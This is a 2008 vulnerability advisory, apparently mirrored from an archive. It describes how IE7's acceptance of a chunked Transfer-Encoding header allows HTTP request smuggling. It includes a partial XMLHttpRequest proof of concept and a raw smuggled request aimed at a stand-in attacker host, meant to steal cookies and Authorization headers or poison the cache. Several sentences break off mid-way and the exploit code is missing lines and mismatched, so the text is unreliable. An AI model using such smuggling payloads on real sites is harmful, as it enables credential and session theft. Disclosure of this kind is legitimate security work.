TUCoPS :: Browsers :: bx2498.htm

IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.
IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.
IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.

IE7 Transfer-Encoding: chunked allows Request Splitting/Smuggling.

Date: March 21th, 2008

Tested Versions: 
        Internet Explorer 7.0.5730.11

Tested OS:
        Windows XP Professional SP2 Italian

Minded Security ReferenceID:

        Discovery by
        Stefano Di Paola of Minded Security
        stefano.dipaola [_at_] mindedsecurity.com

Severity: Medium/High


[ Summary ]

Internet Explorer 7 allows setting of header "Transfer Encoding:
chunked" in setRequestHeader exposing the browser to Http Request
Splitting/Smuggling attacks.

[ Analysis ]

Let's suppose the following scenery (which is not necessarily the only

- A site vulnerable to reflected Xss is hosted on the same host of 
  an attacker site.
- User has no proxy configured.

As IE7 allows setting


so, it allows using the payload in a POST request which will be
considered as another request by the web server.

For example:

var x=new XMLHttpRequest();

for(var i =0; i<1;i++){

 x.onreadystatechange=function (){
    if (x.readyState == 4){
x.send("0\r\n\r\nPOST / HTTP/1.1\r\nHost:
at.tack.er\r\nContent-Length: SOMELENGTH\r\n\r\n")  }catch(r){} }

the request will become:
Accept: */*
Accept-Language: it
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: no-cache
Referer: http://vi.ct.im/ 
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: at.tack.er
Content-Length: 67


POST /?Send1 HTTP/1.1
Host: at.tack.er
Content-Length: TheLenghtOfTheNextRequest

That way, the web server, will wait for the payload, keeping the
socket open.

Infact RFC 2616 says that :
   If a message is received with both a Transfer-Encoding header
   field and a Content-Length header field, the latter MUST be

So the payload will be parsed as chunked.

Then, by forcing IE to perform several requests on the victim
host, the browser will reuse the previous (open) socket, thus 
sending the request as payload to the attacker site.

When at.tack.er host receives the request, there are several attacks,
it could perform:

1. Stealing the headers of the request to vi.ct.im host (httponly
   cookies, Authorization data..)
2. Perform local cache poisoning by using Expire: header from the
   attacker poisoned page.

A proof of concept was developed.

Keep in mind that several other sceneries could be abused as well
(see references).

[ Credits ]

Stefano di Paola is credited with the discovery of this vulnerability.

[ Thanks ]

To Amit Klein for his valuable research.

[ Disclosure Timeline ]

25/01/2008  Initial vendor notification
25/01/2008  Vendor Confirmed
21/03/2008  Public advisory

[ Reference ]

[1] "Http Request Smuggling", Chaim Linhart, Amit Klein, Ronen
   Heled, Steve Orrin, 2005.

[2] "Exploiting the XmlHttpRequest object in IE - Referrer spoofing,
   and a lot more...", Amit Klein, 2005.

[3] "HTTP Header Injection Vulnerabilities in the Flash Player
   Plugin", 2006.

[4] "Auto Injecting Cross Domain Scripting", pp 6-7, Stefano Di Paola,
   Giorgio Fedon, 2007

[ Disclaimer ]

The information within this paper may change without notice. Use
of this information constitutes acceptance for use in an AS IS
condition. There are NO warranties with regard to this information.
In no event shall the author be liable for any damages whatsoever 
arising out of or in connection with the use or spread of this 
Any use of this information is at the user's own risk.

Permission is hereby granted for the redistribution of this Alert
electronically. It is not to be edited in any way without express
consent of Minded Security Research Lab. If you wish to reprint the
whole or any part of this Alert in any other medium excluding
electronic medium, please e-mail research_at_mindedsecurity.com 
for permission.

        Copyright (c) 2008 Minded Security, S.r.l..

              All rights reserved worldwide.

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Minded Security S.r.l.

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